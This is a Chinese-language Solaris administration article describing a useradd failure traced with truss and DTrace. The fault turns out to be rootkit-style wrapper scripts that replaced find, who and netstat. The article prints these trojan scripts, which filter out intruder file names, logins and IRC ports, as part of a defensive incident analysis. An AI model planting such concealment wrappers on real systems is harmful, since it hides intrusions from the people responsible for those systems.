BigAdmin System Administration Portal
Dtrace + Truss 在 Solaris 10上的实例
Print-friendly VersionPrint-friendly Version
Dtrace + Truss 在 Solaris 10上的实例

这个案例着重于如何使用 Dtrace & truss 来进行 Solaris 的问题跟踪。 Dtrace是Solaris 10的一个特性。.

昨天早上,客户打电话来抱怨一个奇怪的Solaris问题。 我在过去6个月里一直支持这个web 2.0领域的客户。

客户发现它不能正确的添加一个新用户。 如果他尝试增加一个新用户,系统会报告错误。

useradd –m –d /home/test test 是给/home下增加一个新用户的命令。:对应的错误信息是:

# useradd -m -g getamped -d /home/getamped -c "getamped user." -m -s /bin/bash getamped 		
UX: useradd: ERROR: Unable to change owner of files home directory: No such file or directory.

于是客户给我打电话寻求帮助。 看起来这是一个简单的Solaris 配置的问题。我们知道Solaris会自动挂接 /home目录。所以通常我们需要把autofs关掉才可以对/home进行操作。 . 这些都是很简单的工作,而且有很多的文档说明了这些步骤, 于是我们打开/etc/auto_master. 它看起来好像这样:

  +auto_master									
  /net            -hosts          -nosuid,nobrowse		
  /home          auto_home       -nobrowse			

根据文档的纪录,我们需要把最后一行注释掉:

#/home          auto_home       -nobrowse		

这样就去掉了autofs监管的/home目录。 然后我们重新启动 autofs 服务,让这个配置生效。 按后我们再次运行 “useradd“命令,看看我们现在发现了什么?

有趣的是,这次仍然报告一个错误:

 UX: useradd: ERROR: Unable to change owner of files home directory: No such file or directory.

看来某个地方还有问题. 那么是哪里呢?

按照通常的步骤,我们搜索知识库,但是没发现任何有意义的结果. 现在让我们尝试用”truss “来跟踪一下这个命令. 它到底在作些什么? 他会打印出来应用的每个系统调用和相关参数. 通过这些详细地记录信息我们发现了一点线索:

#truss -f -o /tmp/useradd.out useradd -m -d /home/test test

下面我们增加一个选项“-f”来继续跟踪子进程的信息,这样fork()的子进程的log也可以被记录下来. 然后我们打开记录的文件/tmp/useradd.out. 它里面记录了useradd运行的所有系统调用:

# truss -f useradd -m -d /home/test7 test7
 1710:   execve("/usr/sbin/useradd", 0x08047C9C, 0x08047CB4)  argc = 5
 1710:   resolvepath("/usr/lib/ld.so.1", "/lib/ld.so.1", 1023) = 12
 1710:   resolvepath("/usr/sbin/useradd", "/usr/sbin/useradd", 1023) = 17
 1710:   sysconfig(_CONFIG_PAGESIZE)                     = 4096
 1710:   xstat(2, "/usr/sbin/useradd", 0x08047A88)       = 0
 1710:   open("/var/ld/ld.config", O_RDONLY)             Err#2 ENOENT
 .......
 .......

喔.这个文件看起来至少有10000行.

通过几个小时的艰苦工作,我们找到了一点相关的内容, useradd 会通过 fork()调用产生若干的子进程, 其中一个子进程会意外的退出.这时候的记录信息显示如下:

    Received signal #18, SIGCLD [caught]
1749: siginfo: SIGCLD CLD_EXITED pid=1755 status=0x0001

当我们比较这个产生错误的记录信息和正常的“useradd”记录信息的时候.我们发现 SIGCLD 没有出现在正常的记录中.在这个信号之后,子进程会退出并让整个进程错误终止.也许这就是一个真正的错误原因? 那么是谁发送了这个CLD信号给我们的useradd呢?

很幸运的是,Solaris 10里面提供了一个强大的系统内核跟踪工具 – Dtrace.它会帮助我们进入Solaris 内核来揭示内部的具体运作.于是我们采用下面的dtrace脚本来看看是谁发送了这个CLD信号. 脚本是下面这样的:

#!/usr/sbin/dtrace –qs			
proc:::signal-send				
/args[2] == SIGCHLD/			
{								
   printf("SIGCLD was sent by %s pid=%d \n", args[1]->pr_fname,args[1]->pr_pid);
}								

当某个进程发送SIGCLD 信号的时候我们会抓住他. 脚本里面的 pr_fname就是进程的名字,而 pid 就是进程的编号.那么,我们现在启动这个脚本并让他在后台等待. 然后我们再次运行”useradd”命令.

这个脚本很有用, Dtrace 马上告诉我们这个发送SIGCLD信号的进程名字和ID号码.

     "SIGCLD was send by find pid 1499"

难以相信, 是最常用的UNIX命令find发送了这个信号. 为什么他要发送这个信号来关闭我们的子进程呢? 我们输入"which find" 来看看find命令在什么地方. 它位于"/usr/bin/find".
那么我们到"/usr/bin"目录下去,作些调查研究,看看他为什么会这么做.

这个可怜的"find" 程序就在这个目录下,看起来没什么特别.
我们用 "file /usr/bin/find" 来看看他的具体格式. 结果显示这是一个可执行的脚本文件. 这一点很奇怪,因为通常, “find” 是一个2进制可执行文件.所以我们采用 "vi /usr/bin/find" 来看看里面的内容.

在"find"文件内部, 我们看见了下面的脚本内容:

   #!/bin/ksh –p							
   if [ -f /usr/bin/i86/ps ]; then		
      /usr/sbin/i86/find "$@" | grep -v grep | grep -v System 
| grep -v /usr/bin/find | grep -v EWG | grep -v syscfg 
| grep -v .elite | grep -v cj | grep -v glftpd 
| grep -v S12system | grep -v S32networks 
| grep -v S09init | grep -v lost+found						
   fi									

看起来这个find 会先去看看是否 /usr/sbin/i86/ps 目录存在, 如果存在,他就会调用这个目录下面真正的”find”程序, 然后在find执行的结果中,过滤掉包含下面这些关键字的信息: " EWG, glftpd, …"

我们知道find是一个会经常用到的程序,他不应该有任何的隐瞒或者过滤内容. 那么为什么要过滤掉这些关键字呢? “find”想要隐藏些什么?

我们用 "ls -tral /usr/bin" 在这个目录下看看”find“ 的修改日期,看起来好像:


-rwxrwxrwx   1 root     other        177  7月 30日 17:33 w		
-rwxrwxrwx   1 root     other        181  7月 30日 17:34 who	
-rwxrwxrwx   1 root     other         87  7月 30日 17:36 uptime
-rwxrwxrwx   1 root     other        239  7月 30日 17:37 ptree	
-rwxrwxrwx   1 root     other        311  7月 30日 17:41 netstat
-rwxrwxrwx   1 root     other        198  7月 30日 17:43 last	
-rwxrwxrwx   1 root     other        360  7月 30日 18:14 ls	
-rwxrwxrwx   1 root     other        314  7月 30日 18:17 cat	
-rwxrwxrwx   1 root     other        219  7月 30日 18:18 du	
-rwxrwxrwx   1 root     other        222  7月 30日 18:19 ps	
-rwsr-xr-x   1 root     root        6696  8月 20日 12:30 EWG	
-rwxr-xr-x   1 root     root         300  1月 23日 17:29 find	 

嗯,那么"find" 还有 "who" ,"netstat", "du", "cat" 都是在最近被修改过.
那么我们检查一下这些文件都在干什么.

"file /usr/bin/who" 的结果告诉我们这也是一个脚本程序,那么它在作什么呢?

#!/bin/ksh –p							
   if [ -f /usr/bin/i86/ps ]; then		
      /usr/sbin/i86/who "$@" | grep -v grep | grep -v /usr/bin/who | grep -v CjB
 | grep -v cjb | grep -v daemon | grep -v sys
   fi									
看起来某些人想要在登陆的时候不被别人发现.

"file /usr/bin/netstat"的结果也显示这是一个脚本,而不是正常的二进制文件,他的内容是:

#!/bin/ksh –p 										
   if [ -f /usr/bin/i86/ps ]; then					
      /usr/sbin/i86/netstat "$@" | grep -v grep | grep -v System 
	| grep -v /usr/bin/netstat | grep -v EWG | grep -v glftpd 
	| grep -v 6667 | grep -v 7000 | grep -v 6666 | grep -v 6668 
	| grep -v 6669 | grep -v 9000 | grep -v 8337 | grep -v 6969 
	| grep -v 98		
   fi				

嗯,这就有意思了, 看起来某些人想要隐藏一些秘密, 在和6667/7000/6666/6668/6669/9000/8337 这些端口通信的时候不被别人发现.

为了解决问题 ,我们恢复了/usr/sbin/i86/find 二进制文件到/usr/bin目录下,替换了这个错误的脚本文件 “find”, 这时候就可以使用”useradd” 创建一个正常的 用户目录了.

同时,我们通知了IT 安全部门, 进行下一步调查和跟踪.


Comments (latest comments first)

Discuss and comment on this resource in the BigAdmin Wiki

Unless otherwise licensed, code in all technical manuals herein (including articles, FAQs, samples) is provided under this License.


BigAdmin
  
 
BigAdmin Upgrade Hub